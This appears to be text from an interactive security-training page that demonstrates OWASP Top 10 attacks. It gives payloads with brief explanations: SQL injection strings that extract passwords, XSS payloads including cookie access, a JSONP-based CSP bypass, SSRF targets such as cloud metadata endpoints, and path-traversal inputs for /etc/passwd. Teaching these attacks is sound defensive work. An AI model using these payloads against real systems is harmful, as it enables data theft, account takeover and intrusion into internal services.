MicroSim 40 -- Interactive OWASP Top 10 Exploitation & Detection
Welcome back! Please sign in to continue.
' OR 1=1 --Error-based SQL injection exploits unsanitized input concatenated directly into SQL queries. The attacker breaks the query syntax and appends logic that always evaluates to TRUE.
' ORDER BY 3-- (works) then ' ORDER BY 4-- (fails = 3 columns).' UNION SELECT 1,2,3-- to see which columns display.' UNION SELECT username,password,email FROM users--UNION-based SQLi appends a second SELECT query to extract data from other tables. The attacker must first determine the number of columns in the original query.
Check if a username exists in our system.
admin' AND SUBSTRING(password,1,1)='S'--Blind boolean SQLi works when the application does not return SQL errors or data. The attacker asks true/false questions, using the difference in response to infer data one bit at a time.
Enter a service ID to check availability. Response always returns "OK".
1; IF (SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='S') WAITFOR DELAY '0:0:5'--Time-based blind SQLi is the stealthiest form. The attacker uses conditional time delays (WAITFOR DELAY, SLEEP, BENCHMARK) to infer data. If the condition is true, the response is delayed.
<script>alert('XSS')</script> or <img src=x onerror=alert(1)>Reflected XSS occurs when user input is echoed back in the HTML response without encoding. The payload executes in the victim's browser when they click a crafted link.
<img src=x onerror="document.title='Hacked!'"> or <script>document.cookie</script>Stored XSS persists in the database. Every user who views the page executes the payload. This is more dangerous than reflected XSS because it does not require the victim to click a link.
This page reads the URL fragment to display content.
<img src=x onerror="alert('DOM XSS')"> or <svg onload=alert(1)>DOM-based XSS never reaches the server. The payload is in the URL fragment (#) or other client-side source. JavaScript reads it and writes it to the DOM unsafely (innerHTML). Since the server never sees the payload, server-side WAFs cannot detect it.
This page has a Content Security Policy. Inline scripts are blocked. Can you find a bypass?
<script src="https://cdn.example.com/api/jsonp?callback=alert"></script><base href="https://cdn.example.com"> combined with a relative script path.CSP bypass exploits overly permissive allowlists. If a trusted domain hosts JSONP endpoints, Angular libraries, or other script gadgets, attackers can load those to execute arbitrary code.
Logged in as: jsmith | Balance: $12,450.00
Enter a URL to fetch and preview its content.
http://169.254.169.254/latest/meta-data/ (AWS metadata)http://192.168.1.1/admin (internal admin panel)http://127.0.0.1:6379/ (internal Redis)1. URL allowlisting (only permit known-good domains)
2. Block RFC 1918 and link-local IPs
3. Disable HTTP redirects (prevent rebinding)
4. Use a dedicated egress proxy with network-level restrictions
Logged in as: jsmith (ID: 1002)
Download your documents from the server.
../../../etc/passwd..\..\windows\system32\drivers\etc\hosts....//....//etc/passwd (double encoding bypass)